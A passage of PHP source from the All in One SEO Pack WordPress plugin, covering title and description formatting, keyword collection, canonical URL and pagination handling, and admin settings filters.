$title_format = $this->get_tax_title_format( $tax ); $title = str_replace( '%taxonomy_title%', $category_name, $title_format ); if ( false !== strpos( $title, '%taxonomy_description%', 0 ) ) { $title = str_replace( '%taxonomy_description%', $category_description, $title ); } if ( false !== strpos( $title, '%category_title%', 0 ) ) { $title = str_replace( '%category_title%', $category_name, $title ); } if ( false !== strpos( $title, '%category_description%', 0 ) ) { $title = str_replace( '%category_description%', $category_description, $title ); } if ( false !== strpos( $title, '%site_title%', 0 ) ) { $title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title ); } if ( false !== strpos( $title, '%blog_title%', 0 ) ) { $title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title ); } if ( false !== strpos( $title, '%site_description%', 0 ) ) { $title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%blog_description%', 0 ) ) { $title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%current_year%', 0 ) ) { $title = str_replace( '%current_year%', date( 'Y' ), $title ); } if ( false !== strpos( $title, '%current_month%', 0 ) ) { $title = str_replace( '%current_month%', date( 'M' ), $title ); } if ( false !== strpos( $title, '%current_month_i18n%', 0 ) ) { $title = str_replace( '%current_month_i18n%', date_i18n( 'M' ), $title ); } /** * Filters document title after applying the formatting. * * @since 3.0 * * @param string $title Document title to be filtered. */ $title = apply_filters( 'aioseop_title_format', $title ); $title = wp_strip_all_tags( $title ); /** * Runs after applying the formatting for the taxonomy title. * * @since 3.0 */ do_action( 'aioseop_after_tax_title_format' ); return $this->paged_title( $title ); } /** * Get Taxonomy Title Format * * @since ? * * @param string $tax * @return string */ function get_tax_title_format( $tax = '' ) { global $aioseop_options; if ( AIOSEOPPRO ) { $title_format = '%taxonomy_title% | %site_title%'; if ( is_category() ) { $title_format = $aioseop_options['aiosp_category_title_format']; } else { $taxes = $aioseop_options['aiosp_taxactive']; if ( empty( $tax ) ) { $tax = get_query_var( 'taxonomy' ); } if ( ! empty( $aioseop_options[ "aiosp_{$tax}_tax_title_format" ] ) ) { $title_format = $aioseop_options[ "aiosp_{$tax}_tax_title_format" ]; } } if ( empty( $title_format ) ) { $title_format = '%category_title% | %site_title%'; } } else { $title_format = '%category_title% | %site_title%'; if ( ! empty( $aioseop_options['aiosp_category_title_format'] ) ) { $title_format = $aioseop_options['aiosp_category_title_format']; } return $title_format; } return $title_format; } /** * Apply Archive Title Format * * @since ? * * @param $title * @param string $category * @return string */ function apply_archive_title_format( $title, $category = '' ) { $title_format = $this->get_archive_title_format(); $r_title = array( '%site_title%', '%site_description%', '%archive_title%' ); $d_title = array( $this->internationalize( get_bloginfo( 'name' ) ), $this->internationalize( get_bloginfo( 'description' ) ), post_type_archive_title( '', false ), ); $title = trim( str_replace( $r_title, $d_title, $title_format ) ); return $title; } /** * Get Archive Title Format * * @since ? * * @return bool|string */ function get_archive_title_format() { return $this->get_post_title_format( 'archive' ); } /** * Get Main Description * * @since ? * @since 2.3.14 #932 Adds filter "aioseop_description", removes extra filtering. * @since 2.4 #951 Trim/truncates occurs inside filter "aioseop_description". * @since 2.4.4.1 #1395 Longer Meta Descriptions & don't trim manual Descriptions. * * @param null $post * @return mixed|string|void */ function get_main_description( $post = null ) { global $aioseop_options; $opts = $this->meta_opts; $description = ''; if ( is_author() && $this->show_page_description() ) { $description = $this->internationalize( get_the_author_meta( 'description' ) ); } elseif ( function_exists( 'wc_get_page_id' ) && is_post_type_archive( 'product' ) ) { $post_id = wc_get_page_id( 'shop' ); if ( $post_id ) { $post = get_post( $post_id ); // $description = $this->get_post_description( $post ); // $description = $this->apply_cf_fields( $description ); if ( ! ( wc_get_page_id( 'shop' ) == get_option( 'page_on_front' ) ) ) { $description = trim( $this->internationalize( get_post_meta( $post->ID, '_aioseop_description', true ) ) ); } elseif ( wc_get_page_id( 'shop' ) == get_option( 'page_on_front' ) && ! empty( $aioseop_options['aiosp_use_static_home_info'] ) ) { // $description = $this->get_aioseop_description( $post ); $description = trim( $this->internationalize( get_post_meta( $post->ID, '_aioseop_description', true ) ) ); } elseif ( wc_get_page_id( 'shop' ) == get_option( 'page_on_front' ) && empty( $aioseop_options['aiosp_use_static_home_info'] ) ) { $description = $this->get_aioseop_description( $post ); } } } elseif ( is_front_page() ) { $description = $this->get_aioseop_description( $post ); } elseif ( is_single() || is_page() || is_attachment() || is_home() || $this->is_static_posts_page() || $this->check_singular() ) { $description = $this->get_aioseop_description( $post ); } elseif ( ( is_category() || is_tag() || is_tax() ) && $this->show_page_description() ) { if ( ! empty( $opts ) && AIOSEOPPRO ) { $description = $opts['aiosp_description']; } if ( empty( $description ) ) { $description = term_description(); } $description = $this->internationalize( $description ); } // #1308 - we want to make sure we are ignoring php version only in the admin area while editing the post, so that it does not impact #932. $screen = is_admin() ? get_current_screen() : null; $ignore_php_version = $screen && isset( $screen->id ) && 'post' === $screen->id; $truncate = false; $aioseop_desc = ''; if ( ! empty( $post->ID ) ) { $aioseop_desc = get_post_meta( $post->ID, '_aioseop_description', true ); } if ( empty( $aioseop_desc ) && isset( $aioseop_options['aiosp_generate_descriptions'] ) && 'on' === $aioseop_options['aiosp_generate_descriptions'] && empty( $aioseop_options['aiosp_dont_truncate_descriptions'] ) ) { $truncate = true; } $description = apply_filters( 'aioseop_description', $description, $truncate, $ignore_php_version ); return $description; } /** * Show Page Description * * @since ? * * @return bool */ function show_page_description() { global $aioseop_options; if ( ! empty( $aioseop_options['aiosp_hide_paginated_descriptions'] ) ) { $page = $this->get_page_number(); if ( ! empty( $page ) && ( $page > 1 ) ) { return false; } } return true; } /** * Get Page Number * * @since ? * * @return mixed */ function get_page_number() { global $post; if ( is_singular() && false === strpos( $post->post_content, '', 0 ) ) { return null; } $page = get_query_var( 'page' ); if ( empty( $page ) ) { $page = get_query_var( 'paged' ); } return $page; } /** * Get AIOSEOP Description * * @since ? * @since 2.4 #1395 Longer Meta Descriptions & don't trim manual Descriptions. * * @param null $post * * @return mixed|string */ function get_aioseop_description( $post = null ) { global $aioseop_options; if ( null === $post ) { $post = $GLOBALS['post']; } $blog_page = aiosp_common::get_blog_page(); $description = ''; if ( is_front_page() && empty( $aioseop_options['aiosp_use_static_home_info'] ) ) { $description = trim( $this->internationalize( $aioseop_options['aiosp_home_description'] ) ); } elseif ( ! empty( $blog_page ) ) { $description = $this->get_post_description( $blog_page ); } if ( empty( $description ) && is_object( $post ) && ! is_archive() && empty( $blog_page ) ) { $description = $this->get_post_description( $post ); } $description = $this->apply_cf_fields( $description ); return $description; } /** * Gets Post Description * * Auto-generates description if settings are ON. * * @since 2.3.13 #899 Fixes non breacking space, applies filter "aioseop_description". * @since 2.3.14 #932 Removes filter "aioseop_description". * @since 2.4 #951 Removes "wp_strip_all_tags" and "trim_excerpt_without_filters", they are done later in filter. * @since 2.4 #1395 Longer Meta Descriptions & don't trim manual Descriptions. * * @param object $post Post object. * @return mixed|string */ function get_post_description( $post ) { global $aioseop_options; if ( ! $this->show_page_description() ) { return ''; } $description = trim( $this->internationalize( get_post_meta( $post->ID, '_aioseop_description', true ) ) ); if ( ! empty( $post ) && post_password_required( $post ) ) { return $description; } if ( ! $description ) { if ( empty( $aioseop_options['aiosp_skip_excerpt'] ) ) { $description = $post->post_excerpt; } if ( ! $description && isset( $aioseop_options['aiosp_generate_descriptions'] ) && $aioseop_options['aiosp_generate_descriptions'] ) { if ( ! AIOSEOPPRO || ( AIOSEOPPRO && apply_filters( $this->prefix . 'generate_descriptions_from_content', true, $post ) ) ) { $content = $post->post_content; if ( ! empty( $aioseop_options['aiosp_run_shortcodes'] ) ) { $content = aioseop_do_shortcodes( $content ); } $description = $content; } else { $description = $post->post_excerpt; } } $description = $this->trim_text_without_filters_full_length( $this->internationalize( $description ) ); } return $description; } /** * Trim Text without Filter Full Length * * @since ? * @since 2.3.15 Brackets not longer replaced from filters. * * @param $text * @return string */ function trim_text_without_filters_full_length( $text ) { $text = str_replace( ']]>', ']]>', $text ); $text = strip_shortcodes( $text ); $text = wp_strip_all_tags( $text ); return trim( $text ); } /** * Trim Excerpt without Filters * * @since ? * @since 2.3.15 Brackets not longer replaced from filters. * * @param $text * @param int $max * @return string */ function trim_excerpt_without_filters( $text, $max = 0 ) { $text = str_replace( ']]>', ']]>', $text ); $text = strip_shortcodes( $text ); $text = wp_strip_all_tags( $text ); // Treat other common word-break characters like a space. $text2 = preg_replace( '/[,._\-=+&!\?;:*]/s', ' ', $text ); if ( ! $max ) { $max = $this->maximum_description_length; } $max_orig = $max; $len = $this->strlen( $text2 ); if ( $max < $len ) { if ( function_exists( 'mb_strrpos' ) ) { $pos = mb_strrpos( $text2, ' ', - ( $len - $max ) ); if ( false === $pos ) { $pos = $max; } if ( $pos > $this->minimum_description_length ) { $max = $pos; } else { $max = $this->minimum_description_length; } } else { while ( ' ' != $text2[ $max ] && $max > $this->minimum_description_length ) { $max --; } } // Probably no valid chars to break on? if ( $len > $max_orig && $max < intval( $max_orig / 2 ) ) { $max = $max_orig; } } $text = $this->substr( $text, 0, $max ); return trim( $text ); } /** * AIOSEOP Get URL * * @since ? * * @todo Change name to `*_get_url`. * * @param $query * @param bool $show_page * @return bool|false|string */ function aiosp_mrt_get_url( $query, $show_page = true ) { if ( $query->is_404 || $query->is_search ) { return false; } // this boolean will determine if any additional parameters will be added to the final link or not. // this is especially useful in issues such as #491. $add_query_params = false; $link = ''; $haspost = false; if ( ! empty( $query->posts ) ) { $haspost = count( $query->posts ) > 0; } if ( get_query_var( 'm' ) ) { $m = preg_replace( '/[^0-9]/', '', get_query_var( 'm' ) ); switch ( $this->strlen( $m ) ) { case 4: $link = get_year_link( $m ); break; case 6: $link = get_month_link( $this->substr( $m, 0, 4 ), $this->substr( $m, 4, 2 ) ); break; case 8: $link = get_day_link( $this->substr( $m, 0, 4 ), $this->substr( $m, 4, 2 ), $this->substr( $m, 6, 2 ) ); break; default: return false; } $add_query_params = true; } elseif ( $query->is_home && ( get_option( 'show_on_front' ) == 'page' ) ) { $pageid = get_option( 'page_for_posts' ); if ( $pageid ) { $link = aioseop_get_permalink( $pageid ); } } elseif ( is_front_page() || ( $query->is_home && ( get_option( 'show_on_front' ) != 'page' || ! get_option( 'page_for_posts' ) ) ) ) { if ( function_exists( 'icl_get_home_url' ) ) { $link = icl_get_home_url(); } else { $link = trailingslashit( home_url() ); } } elseif ( ( $query->is_single || $query->is_page ) && $haspost ) { $post = $query->posts[0]; $link = aioseop_get_permalink( $post->ID ); } elseif ( $query->is_author && $haspost ) { $author = get_userdata( get_query_var( 'author' ) ); if ( false === $author ) { return false; } $link = get_author_posts_url( $author->ID, $author->user_nicename ); } elseif ( $query->is_category && $haspost ) { $link = get_category_link( get_query_var( 'cat' ) ); } elseif ( $query->is_tag && $haspost ) { $tag = get_term_by( 'slug', get_query_var( 'tag' ), 'post_tag' ); if ( ! empty( $tag->term_id ) ) { $link = get_tag_link( $tag->term_id ); } } elseif ( $query->is_day && $haspost ) { $link = get_day_link( get_query_var( 'year' ), get_query_var( 'monthnum' ), get_query_var( 'day' ) ); $add_query_params = true; } elseif ( $query->is_month && $haspost ) { $link = get_month_link( get_query_var( 'year' ), get_query_var( 'monthnum' ) ); $add_query_params = true; } elseif ( $query->is_year && $haspost ) { $link = get_year_link( get_query_var( 'year' ) ); $add_query_params = true; } elseif ( $query->is_tax && $haspost ) { $taxonomy = get_query_var( 'taxonomy' ); $term = get_query_var( 'term' ); if ( ! empty( $term ) ) { $link = get_term_link( $term, $taxonomy ); } } elseif ( $query->is_archive && function_exists( 'get_post_type_archive_link' ) ) { $post_type = get_query_var( 'post_type' ); if ( $post_type && is_array( $post_type ) ) { $post_type = reset( $post_type ); } $link = get_post_type_archive_link( $post_type ); } else { return false; } if ( empty( $link ) || ! is_string( $link ) ) { return false; } if ( apply_filters( 'aioseop_canonical_url_pagination', $show_page ) ) { $link = $this->get_paged( $link ); } if ( $add_query_params ) { $post_type = get_query_var( 'post_type' ); if ( ! empty( $post_type ) ) { $link = add_query_arg( 'post_type', $post_type, $link ); } } return $link; } /** * Get Paged * * @since ? * * @param $link * @return string */ function get_paged( $link ) { global $wp_rewrite; $page = $this->get_page_number(); $page_name = 'page'; if ( ! empty( $wp_rewrite ) && ! empty( $wp_rewrite->pagination_base ) ) { $page_name = $wp_rewrite->pagination_base; } if ( ! empty( $page ) && $page > 1 ) { if ( get_query_var( 'page' ) == $page ) { if ( get_query_var( 'p' ) ) { // non-pretty urls. $link = add_query_arg( 'page', $page, $link ); } else { $link = trailingslashit( $link ) . "$page"; } } else { if ( get_query_var( 'p' ) ) { // non-pretty urls. $link = add_query_arg( 'page', $page, trailingslashit( $link ) . $page_name ); } else { $link = trailingslashit( $link ) . trailingslashit( $page_name ) . $page; } } $link = user_trailingslashit( $link, 'paged' ); } return $link; } /** * Get Main Keywords * * @since ? * * @return comma|string */ function get_main_keywords() { global $aioseop_options; global $aioseop_keywords; global $post; $opts = $this->meta_opts; $blog_page = aiosp_common::get_blog_page( $post ); if ( ( is_front_page() && $aioseop_options['aiosp_home_keywords'] && ! $this->is_static_posts_page() ) || $this->is_static_front_page() ) { if ( ! empty( $aioseop_options['aiosp_use_static_home_info'] ) ) { $keywords = $this->get_all_keywords(); } else { $keywords = trim( $this->internationalize( $aioseop_options['aiosp_home_keywords'] ) ); } } elseif ( empty( $aioseop_options['aiosp_dynamic_postspage_keywords'] ) && $this->is_static_posts_page() ) { $keywords = stripslashes( $this->internationalize( $opts['aiosp_keywords'] ) ); // And if option = use page set keywords instead of keywords from recent posts. } elseif ( $blog_page && empty( $aioseop_options['aiosp_dynamic_postspage_keywords'] ) ) { $keywords = stripslashes( $this->internationalize( get_post_meta( $blog_page->ID, '_aioseop_keywords', true ) ) ); } elseif ( empty( $aioseop_options['aiosp_dynamic_postspage_keywords'] ) && ( is_archive() || is_post_type_archive() ) ) { $keywords = ''; } else { $keywords = $this->get_all_keywords(); } return $keywords; } /** * Get All Keywords * * @since ? * * @return string|null comma-separated list of unique keywords */ function get_all_keywords() { global $posts; global $aioseop_options; if ( is_404() ) { return null; } // If we are on synthetic pages. if ( ! is_home() && ! is_page() && ! is_single() && ! $this->is_static_front_page() && ! $this->is_static_posts_page() && ! is_archive() && ! is_post_type_archive() && ! is_category() && ! is_tag() && ! is_tax() && ! $this->check_singular() ) { return null; } $keywords = array(); $opts = $this->meta_opts; if ( ! empty( $opts['aiosp_keywords'] ) ) { $traverse = $this->keyword_string_to_list( $this->internationalize( $opts['aiosp_keywords'] ) ); if ( ! empty( $traverse ) ) { foreach ( $traverse as $keyword ) { $keywords[] = $keyword; } } } if ( empty( $posts ) ) { global $post; $post_arr = array( $post ); } else { $post_arr = $posts; } if ( is_array( $post_arr ) ) { $postcount = count( $post_arr ); foreach ( $post_arr as $p ) { if ( $p ) { $id = $p->ID; if ( 1 == $postcount || ! empty( $aioseop_options['aiosp_dynamic_postspage_keywords'] ) ) { // Custom field keywords. $keywords_i = null; $keywords_i = stripslashes( $this->internationalize( get_post_meta( $id, '_aioseop_keywords', true ) ) ); if ( is_attachment() ) { $id = $p->post_parent; if ( empty( $keywords_i ) ) { $keywords_i = stripslashes( $this->internationalize( get_post_meta( $id, '_aioseop_keywords', true ) ) ); } } $traverse = $this->keyword_string_to_list( $keywords_i ); if ( ! empty( $traverse ) ) { foreach ( $traverse as $keyword ) { $keywords[] = $keyword; } } } if ( ! empty( $aioseop_options['aiosp_use_tags_as_keywords'] ) ) { $keywords = array_merge( $keywords, $this->get_all_tags( $id ) ); } // Autometa. $autometa = stripslashes( get_post_meta( $id, 'autometa', true ) ); if ( isset( $autometa ) && ! empty( $autometa ) ) { $autometa_array = explode( ' ', $autometa ); foreach ( $autometa_array as $e ) { $keywords[] = $e; } } if ( isset( $aioseop_options['aiosp_use_categories'] ) && $aioseop_options['aiosp_use_categories'] && ! is_page() ) { $keywords = array_merge( $keywords, $this->get_all_categories( $id ) ); } } } } return $this->get_unique_keywords( $keywords ); } /** * Keyword String to List * * @since ? * * @param $keywords * @return array */ function keyword_string_to_list( $keywords ) { $traverse = array(); $keywords_i = str_replace( '"', '', $keywords ); if ( isset( $keywords_i ) && ! empty( $keywords_i ) ) { $traverse = explode( ',', $keywords_i ); } return $traverse; } /** * Get All Tags * * @since ? * * @param int $id * @return array */ function get_all_tags( $id = 0 ) { $keywords = array(); $tags = get_the_tags( $id ); if ( ! empty( $tags ) && is_array( $tags ) ) { foreach ( $tags as $tag ) { $keywords[] = $this->internationalize( $tag->name ); } } // Ultimate Tag Warrior integration. global $utw; if ( $utw ) { $tags = $utw->GetTagsForPost( $p ); if ( is_array( $tags ) ) { foreach ( $tags as $tag ) { $tag = $tag->tag; $tag = str_replace( '_', ' ', $tag ); $tag = str_replace( '-', ' ', $tag ); $tag = stripslashes( $tag ); $keywords[] = $tag; } } } return $keywords; } /** * Get Unique Keywords * * @since ? * * @param $keywords * @return string */ function get_unique_keywords( $keywords ) { return implode( ',', $this->clean_keyword_list( $keywords ) ); } /** * Clean Keyword List * * @since ? * * @param $keywords * @return array */ function clean_keyword_list( $keywords ) { $small_keywords = array(); if ( ! is_array( $keywords ) ) { $keywords = $this->keyword_string_to_list( $keywords ); } if ( ! empty( $keywords ) ) { foreach ( $keywords as $word ) { $small_keywords[] = trim( $this->strtolower( $word ) ); } } return array_unique( $small_keywords ); } /** * Split Share Term * * @since ? * * @param $term_id * @param $new_term_id * @param string $term_taxonomy_id * @param string $taxonomy */ function split_shared_term( $term_id, $new_term_id, $term_taxonomy_id = '', $taxonomy = '' ) { $terms = $this->get_all_term_data( $term_id ); if ( ! empty( $terms ) ) { $new_terms = $this->get_all_term_data( $new_term_id ); if ( empty( $new_terms ) ) { foreach ( $terms as $k => $v ) { add_term_meta( $new_term_id, $k, $v, true ); } add_term_meta( $term_id, '_aioseop_term_was_split', true, true ); } } } /** * Get All Term Data * * @since ? * * @param $term_id * @return array */ function get_all_term_data( $term_id ) { $terms = array(); $optlist = array( 'keywords', 'description', 'title', 'custom_link', 'sitemap_exclude', 'disable', 'disable_analytics', 'noindex', 'nofollow', ); foreach ( $optlist as $f ) { $meta = get_term_meta( $term_id, '_aioseop_' . $f, true ); if ( ! empty( $meta ) ) { $terms[ '_aioseop_' . $f ] = $meta; } } return $terms; } function add_page_icon() { wp_enqueue_script( 'wp-pointer', false, array( 'jquery' ) ); wp_enqueue_style( 'wp-pointer' ); // $this->add_admin_pointers(); // TODO Enqueue script as a JS file. ?> pointers['aioseop_menu_2640'] = array( 'pointer_target' => "#toplevel_page_all-in-one-seo-pack$pro-aioseop_class", 'pointer_text' => '

      ' . __( 'Review Your Settings', 'all-in-one-seo-pack' ) . '

      ' . sprintf( __( 'Welcome to version %1$s. Thank you for running the latest and greatest %2$s ever! Please review your settings, as we\'re always adding new features for you!', 'all-in-one-seo-pack' ), AIOSEOP_VERSION, AIOSEOP_PLUGIN_NAME ) . '

      ', 'pointer_edge' => 'top', 'pointer_align' => 'left', 'pointer_scope' => 'global', ); $this->filter_pointers(); } */ /** * Add Page Hooks * * @since ? */ function add_page_hooks() { global $aioseop_options; $post_objs = get_post_types( '', 'objects' ); $pt = array_keys( $post_objs ); $rempost = array( 'revision', 'nav_menu_item', 'custom_css', 'customize_changeset' ); // Don't show these built-in types as options for CPT SEO. $pt = array_diff( $pt, $rempost ); $post_types = array(); foreach ( $pt as $p ) { if ( ! empty( $post_objs[ $p ]->label ) ) { $post_types[ $p ] = $post_objs[ $p ]->label; } else { $post_types[ $p ] = $p; } } foreach ( $pt as $p ) { if ( ! empty( $post_objs[ $p ]->label ) ) { $all_post_types[ $p ] = $post_objs[ $p ]->label; } } if ( isset( $post_types['attachment'] ) ) { /* translators: This refers to entries in the Media Library (images, videos, recordings and other files) and their attachment pages. */ $post_types['attachment'] = __( 'Media / Attachments', 'all-in-one-seo-pack' ); } if ( isset( $all_post_types['attachment'] ) ) { $all_post_types['attachment'] = __( 'Media / Attachments', 'all-in-one-seo-pack' ); } $taxes = get_taxonomies( '', 'objects' ); $tx = array_keys( $taxes ); $remtax = array( 'nav_menu', 'link_category', 'post_format' ); $tx = array_diff( $tx, $remtax ); $tax_types = array(); foreach ( $tx as $t ) { if ( ! empty( $taxes[ $t ]->label ) ) { $tax_types[ $t ] = $taxes[ $t ]->label; } else { $taxes[ $t ] = $t; } } /** * Allows users to filter the taxonomies that are shown in the General Settings menu. * * @since 3.0.0 * * @param array $tax_types All registered taxonomies. */ $tax_types = apply_filters( 'aioseop_pre_tax_types_setting', $tax_types ); $this->default_options['posttypecolumns']['initial_options'] = $post_types; $this->default_options['cpostactive']['initial_options'] = $all_post_types; $this->default_options['cpostnoindex']['initial_options'] = $post_types; $this->default_options['cpostnofollow']['initial_options'] = $post_types; if ( AIOSEOPPRO ) { $this->default_options['taxactive']['initial_options'] = $tax_types; } foreach ( $all_post_types as $p => $pt ) { $field = $p . '_title_format'; $name = $post_objs[ $p ]->labels->singular_name; if ( ! isset( $this->default_options[ $field ] ) ) { $this->default_options[ $field ] = array( /* translators: The title format is the template that is used to format the title for each post of a certain post type (Posts, Pages, etc.). */ 'name' => "$name " . __( 'Title Format', 'all-in-one-seo-pack' ) . "
      ($p)", 'type' => 'text', 'default' => '%post_title% | %site_title%', 'condshow' => array( 'aiosp_cpostactive\[\]' => $p, ), ); $this->layout['cpt']['options'][] = $field; } } global $wp_roles; if ( ! isset( $wp_roles ) ) { $wp_roles = new WP_Roles(); } $role_names = $wp_roles->get_names(); ksort( $role_names ); $this->default_options['ga_exclude_users']['initial_options'] = $role_names; unset( $tax_types['category'] ); unset( $tax_types['post_tag'] ); $this->default_options['tax_noindex']['initial_options'] = $tax_types; if ( empty( $tax_types ) ) { unset( $this->default_options['tax_noindex'] ); } if ( AIOSEOPPRO ) { foreach ( $tax_types as $p => $pt ) { $field = $p . '_tax_title_format'; $name = $pt; if ( ! isset( $this->default_options[ $field ] ) ) { $this->default_options[ $field ] = array( /* translators: The taxonomy title format is the template that is used to format the title for each taxonomy term of a certain taxonomy (Categories, Tags, etc.). */ 'name' => "$name " . __( 'Taxonomy Title Format:', 'all-in-one-seo-pack' ), 'type' => 'text', 'default' => '%taxonomy_title% | %site_title%', 'condshow' => array( 'aiosp_taxactive\[\]' => $p, ), ); $this->layout['cpt']['options'][] = $field; } } } $this->setting_options(); if ( AIOSEOPPRO ) { global $aioseop_update_checker; add_action( "{$this->prefix}update_options", array( $aioseop_update_checker, 'license_change_check' ), 10, 2 ); add_action( "{$this->prefix}settings_update", array( $aioseop_update_checker, 'update_check' ), 10, 2 ); } add_filter( "{$this->prefix}display_options", array( $this, 'filter_options' ), 10, 2 ); parent::add_page_hooks(); } function settings_page_init() { add_filter( "{$this->prefix}submit_options", array( $this, 'filter_submit' ) ); } /** * Admin Enqueue Styles All (Screens) * * Enqueue style on all admin screens. * * @since 2.9 * * @param $hook_suffix */ public function admin_enqueue_styles_all( $hook_suffix ) { wp_enqueue_style( 'aiosp_admin_style', AIOSEOP_PLUGIN_URL . 'css/aiosp_admin.css', array(), AIOSEOP_VERSION ); } /** * Admin Enqueue Scripts * * @since 2.5.0 * @since 2.9 Refactor code to `admin_enqueue_scripts` hook, and move enqueue stylesheet to \All_in_One_SEO_Pack::admin_enqueue_styles_all(). * * @uses All_in_One_SEO_Pack_Module::admin_enqueue_scripts(); * * @param string $hook_suffix */ public function admin_enqueue_scripts( $hook_suffix ) { add_filter( "{$this->prefix}display_settings", array( $this, 'filter_settings' ), 10, 3 ); add_filter( "{$this->prefix}display_options", array( $this, 'filter_options' ), 10, 2 ); // This ensures different JS files are enqueued only at the intended screens. Preventing unnecessary processes. $extra_title_len = 0; switch ( $hook_suffix ) { // Screens `post.php`, `post-new.php`, & `../aioseop_class.php` share the same `count-char.js`. case 'post.php': case 'post-new.php': // Fall through. case 'toplevel_page_' . AIOSEOP_PLUGIN_DIRNAME . '/aioseop_class': wp_enqueue_script( 'aioseop-post-edit-script', AIOSEOP_PLUGIN_URL . 'js/count-chars.js', array(), AIOSEOP_VERSION ); $localize_post_edit = array( 'aiosp_title_extra' => (int) $extra_title_len, ); wp_localize_script( 'aioseop-post-edit-script', 'aioseop_count_chars', $localize_post_edit ); break; } parent::admin_enqueue_scripts( $hook_suffix ); } /** * Filter Submit * * @since ? * * @param $submit * @return mixed */ function filter_submit( $submit ) { $submit['Submit_Default'] = array( 'type' => 'submit', 'class' => 'aioseop_reset_settings_button button-secondary', /* translators: This is the text of a button that allows users to reset the General Settings to their default values. */ 'value' => __( 'Reset General Settings to Defaults', 'all-in-one-seo-pack' ) . ' »', ); $submit['Submit_All_Default'] = array( 'type' => 'submit', 'class' => 'aioseop_reset_settings_button button-secondary', /* translators: This is the text of a button that allows users to reset all settings across the entire plugin to their default values. */ 'value' => __( 'Reset ALL Settings to Defaults', 'all-in-one-seo-pack' ) . ' »', ); return $submit; } /** * Reset Options * * Handle resetting options to defaults, but preserve the license key if pro. * * @since ? * * @param null $location * @param bool $delete */ function reset_options( $location = null, $delete = false ) { if ( AIOSEOPPRO ) { global $aioseop_update_checker; } if ( true === $delete ) { if ( AIOSEOPPRO ) { $license_key = ''; if ( isset( $this->options ) && isset( $this->options['aiosp_license_key'] ) ) { $license_key = $this->options['aiosp_license_key']; } } $this->delete_class_option( $delete ); if ( AIOSEOPPRO ) { $this->options = array( 'aiosp_license_key' => $license_key ); } else { $this->options = array(); } } $default_options = $this->default_options( $location ); if ( AIOSEOPPRO ) { foreach ( $default_options as $k => $v ) { if ( 'aiosp_license_key' != $k ) { $this->options[ $k ] = $v; } } $aioseop_update_checker->license_key = $this->options['aiosp_license_key']; } else { foreach ( $default_options as $k => $v ) { $this->options[ $k ] = $v; } } $this->update_class_option( $this->options ); } /** * Filter Settings * * @since ? * @since 2.3.16 Forces HTML entity decode on placeholder values. * * @param $settings * @param $location * @param $current * @return mixed */ function filter_settings( $settings, $location, $current ) { if ( null == $location ) { $prefix = $this->prefix; foreach ( array( 'seopostcol', 'seocustptcol', 'debug_info', 'max_words_excerpt' ) as $opt ) { unset( $settings[ "{$prefix}$opt" ] ); } if ( AIOSEOPPRO ) { if ( ! empty( $this->options['aiosp_license_key'] ) ) { $settings['aiosp_license_key']['type'] = 'password'; $settings['aiosp_license_key']['size'] = 38; } } } elseif ( 'aiosp' == $location ) { global $post, $aioseop_sitemap; $prefix = $this->get_prefix( $location ) . $location . '_'; if ( ! empty( $post ) ) { $post_type = get_post_type( $post ); if ( ! empty( $this->options['aiosp_cpostnoindex'] ) && in_array( $post_type, $this->options['aiosp_cpostnoindex'] ) ) { $settings[ "{$prefix}noindex" ]['type'] = 'select'; $settings[ "{$prefix}noindex" ]['initial_options'] = array( /* translators: This indicates that the current post/page is using the default value for its post type, which is NOINDEX. */ '' => __( 'Default - noindex', 'all-in-one-seo-pack' ), 'off' => __( 'index', 'all-in-one-seo-pack' ), 'on' => __( 'noindex', 'all-in-one-seo-pack' ), ); } if ( ! empty( $this->options['aiosp_cpostnofollow'] ) && in_array( $post_type, $this->options['aiosp_cpostnofollow'] ) ) { $settings[ "{$prefix}nofollow" ]['type'] = 'select'; $settings[ "{$prefix}nofollow" ]['initial_options'] = array( /* translators: This indicates that the current post/page is using the default value for its post type, which is NOFOLLOW. */ '' => __( 'Default - nofollow', 'all-in-one-seo-pack' ), 'off' => __( 'follow', 'all-in-one-seo-pack' ), 'on' => __( 'nofollow', 'all-in-one-seo-pack' ), ); } global $post; $info = $this->get_page_snippet_info(); $title = $info['title']; $description = $info['description']; $keywords = $info['keywords']; $settings[ "{$prefix}title" ]['placeholder'] = $this->html_entity_decode( $title ); $settings[ "{$prefix}description" ]['placeholder'] = $this->html_entity_decode( $description ); $settings[ "{$prefix}keywords" ]['placeholder'] = $keywords; } if ( ! AIOSEOPPRO ) { if ( ! current_user_can( 'update_plugins' ) ) { unset( $settings[ "{$prefix}upgrade" ] ); } } if ( ! is_object( $aioseop_sitemap ) ) { unset( $settings['aiosp_sitemap_exclude'] ); } if ( ! empty( $this->options[ $this->prefix . 'togglekeywords' ] ) ) { unset( $settings[ "{$prefix}keywords" ] ); unset( $settings[ "{$prefix}togglekeywords" ] ); } elseif ( ! empty( $current[ "{$prefix}togglekeywords" ] ) ) { unset( $settings[ "{$prefix}keywords" ] ); } if ( empty( $this->options['aiosp_can'] ) ) { unset( $settings[ "{$prefix}custom_link" ] ); } } return $settings; } /** * Filter Options * * @since ? * * @param $options * @param $location * @return mixed */ function filter_options( $options, $location ) { if ( 'aiosp' == $location ) { global $post; if ( ! empty( $post ) ) { $prefix = $this->prefix; $post_type = get_post_type( $post ); foreach ( array( 'noindex', 'nofollow' ) as $no ) { if ( empty( $this->options[ 'aiosp_cpost' . $no ] ) || ( ! in_array( $post_type, $this->options[ 'aiosp_cpost' . $no ] ) ) ) { if ( isset( $options[ "{$prefix}{$no}" ] ) && ( 'on' != $options[ "{$prefix}{$no}" ] ) ) { unset( $options[ "{$prefix}{$no}" ] ); } } } } } if ( null == $location ) { $prefix = $this->prefix; if ( isset( $options[ "{$prefix}use_original_title" ] ) && ( '' === $options[ "{$prefix}use_original_title" ] ) ) { $options[ "{$prefix}use_original_title" ] = 0; } } return $options; } /** * Template Redirect * * @since ? */ function template_redirect() { global $aioseop_options; $post = $this->get_queried_object(); if ( ! $this->is_page_included() ) { return; } $force_rewrites = 1; if ( isset( $aioseop_options['aiosp_force_rewrites'] ) ) { $force_rewrites = $aioseop_options['aiosp_force_rewrites']; } if ( $force_rewrites ) { ob_start( array( $this, 'output_callback_for_title' ) ); } else { add_filter( 'wp_title', array( $this, 'wp_title' ), 20 ); } } /** * The is_page_included() function. * * 